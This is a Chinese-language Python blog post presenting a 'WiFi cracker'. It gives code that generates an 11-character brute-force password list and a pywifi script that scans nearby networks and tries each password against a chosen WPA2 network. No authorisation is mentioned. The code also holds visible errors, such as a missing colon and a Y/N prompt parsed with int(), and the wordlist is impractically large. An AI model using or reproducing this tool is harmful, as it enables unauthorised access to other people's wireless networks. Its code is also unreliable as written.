猿创征文|Python3,10分钟写了一个WIFI 万(破) 能 (解) 钥 (神) 匙 (器),YYDS。

wifi万能钥匙

  • 1、引言
  • 2、代码实战
    • 2.1 思路
    • 2.2 模块安装
    • 2.3 代码实战
      • 2.3.1 生成密码本
      • 2.3.2 破解实战
  • 3、总结

1、引言

小鱼:小屌丝,你家WIFI密码是多少?
小屌丝:你试一试123456
小鱼:不对,
小屌丝:那再试下654321
小鱼:试了,还是不对!
小屌丝:我想一想…
猿创征文|Python3,10分钟写了一个WIFI 万(破) 能 (解) 钥 (神) 匙 (器),YYDS。_第1张图片
小鱼:你还能想起来吗?
小屌丝:鱼哥,我还在想呢…
小鱼:那你慢慢想…

2、代码实战

2.1 思路

小鱼我实在是没有耐心等了, 我准备撸一个破解器。
思路也非常的简单:

  • 获取wifi列表;
  • 准备万能密码本;
  • 进行循环读取

2.2 模块安装

因为我们需要wifi密码破解, 所以这里需要用到第三方库,pywifi

老规矩,pip 安装

pip install pywifi

其它安装方式,直接看这两篇:

  • Python3,选择Python自动安装第三方库,从此跟pip说拜拜!!
  • Python3:我低调的只用一行代码,就导入Python所有库!

2.3 代码实战

2.3.1 生成密码本

代码示例

import itertools as its
import string
import os

#数字+字母
paswds= '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
#11位密码
r = its.product(paswds,repeat = 11)
#文件路径
out_path = './output_file'
file_name =  'pwd.txt'
out_file = os.path.join(out_path,file_name)
#如果没有outfile_path 这个文件夹,就自动创建
if not os.path.exists(out_path):
    os.mkdir(out_path)
dic = open(out_file,'a')
#循环获取生成密码本
for i in r:
    dic.write("".join(i))
    dic.write("".join("\n"))
#关闭 
dic.close()

生成结果:
在这里插入图片描述

  • 由于是11位,最后生成的密码本会很大,所以,你懂得…

2.3.2 破解实战

密码本准备完成, 接下来,我们就来破解wifi密码。

代码示例

# -*- coding:utf-8 -*-
# @Time   : 2022-09-03
# @Author : Carl_DJ

import pywifi
import time
from pywifi import const


# wifi 扫描
def wifi_scan():
    #初始化wifi
    wifi = pywifi.PyWiFi()
    #使用第一个无线网卡
    interface = wifi.interfaces()[0]
    #开始扫描
    interface.scan()
    for i in range(4):
        time.sleep(0.5)
        print(f'正在扫码可用wifi,请稍后...(' + str(3 - i), end=')')
    print(f'扫描完成!)')
    print('{:4}{:6}{}'.format('编号', '信号强度', 'wifi名')
    #把扫描结果,存放在每一个wifi对象中
    wifi_bss = interface.scan_results()
    #存放wifi名
    wifi_name_save =set()
    for n in wifi_bss:
        #解决乱码问题
        wifi_name_signal = (100 + n.signal,n.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_save.add(wifi_name_signal)
    #wifi 存入列表并按照信号强度排序
    wifi_name_list =list(wifi_name_save)
    wifi_name_list = sorted(wifi_name_list,key=lambda a:a[0],reverse=True)
    num = 0
    #格式化输出
    while num < len(wifi_name_list)
        print('{:<6d}.{:<8d}{}'.format(num,wifi_name_list[num][0],wifi_name_list[num][1]))
        num += 1
    print('='* 30)
    #返回wifi列表
    return wifi_name_list

# wifi 破解
def wifi_creak(wifi_name):
    #字典路径
    wifi_dict_path = input("请输入wifi破解密码路径:")
    with open(wifi_dict_path,'r') as f:
        #遍历密码
        for pwd in f:
            #去除密码的末尾换行符
            pwd  = pwd.strip('\n')
            #创建wifi对象
            wifi = pywifi.PyWiFi()
            #创建网卡对象,为第一个wifi网卡
            interface = wifi.interfaces()[0]
            #断开所有wifi链接
            interface.disconnect()
            #等待wifi断开
            while interface.status() == 4:
                 # 当其处于连接状态时,利用循环等待其断开
                pass
            #创建连接文件(对象)
            profile = pywifi.Profile()
            #wifi名称
            profile.ssid = wifi_name
            #认证
            profile.auth = const.AUTH_ALG_OPEN
            #wifi默认加密算法,WPA2PSK
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            #wifi密码
            profile.key = pwd
            #删除所有wifi链接文件
            interface.remove_network_profiles()
            #设置wifi新的链接文件
            tmp_profile =interface.add_network_profile(profile)
            #开始尝试链接
            interface.connect(tmp_profile)
            start_time = time.time()
            #如果链接时间超过1.5s,就认为密码不正确,在1.5s,说明链接成功
            while time.time() - start_time < 1.5:
                #默认连接成功状态为4
                if interface.status() == 4:
                    print(f'wifi连接成功,密码为:{pwd}')
                    exit(0)
                else:
                    print(f'正在尝试使用{pwd}进行破解密码!')

#主函数
def main():
        #退出标志
        exit_flag = 0
        #目标编号
        target =  -1
        while not exit_flag:
            try:
                print('wifi万能钥匙'.center(35,'-'))
                #调用扫描函数,返回一个排序后的wifi列表
                wifi_list = wifi_scan()
                # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理
                choose_exit_flag = 0
                while not choose_exit_flag:
                    try:
                        target = int(input('请选择你要尝试破解的wifi: '))
                         # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入
                        if target in range(len(wifi_list)):
                            #二次确认
                            while not choose_exit_flag:
                                try:
                                    choose = int(input(f'你选择要破解的WiFi名称是: {wifi_list[target][1]},确定吗?(Y/N)'))
                                    #对用户输入进行小写处理,并判断
                                    if choose.lower() == 'y':
                                        choose_exit_flag = 1
                                    elif choose.lower() == 'n':
                                        break

                                    #处理用户其他字模输入
                                    else:
                                        print(f'只能输入 Y/N ')
                                # 处理用户非字母输入
                                except ValueError:
                                    print(f'只能输入 Y/N ')
                            #退出破解
                            if choose_exit_flag == 1:
                                break
                            else:
                                print(f'请重新输入!')
                    except  ValueError:
                        print(f'只能输入数字,需要重新输入!')
                # 密码破解,传入用户选择的wifi名称
                wifi_creak(wifi_list[target][1])
                print('='*30)
                exit_flag = 1
            except  Exception as e:
                print(f'错误信息为: {e}')
                raise  e

# 执行
if __name__ == '__main__':
    main()


运行结果:
猿创征文|Python3,10分钟写了一个WIFI 万(破) 能 (解) 钥 (神) 匙 (器),YYDS。_第2张图片

3、总结

看到这里,今天的分享就差不多完事了。
今天通过pywifi来写了一个wifi破解神器。
由于这是非GUI版本,所以可以把这个代码封装成.exe运行程序。
这样运行起来,更方便。

我是小鱼

  • CSDN博客专家
  • 51Testing认证讲师

关注我,带你学习更多更专业更有趣的Python知识。

你可能感兴趣的:(python,开发语言)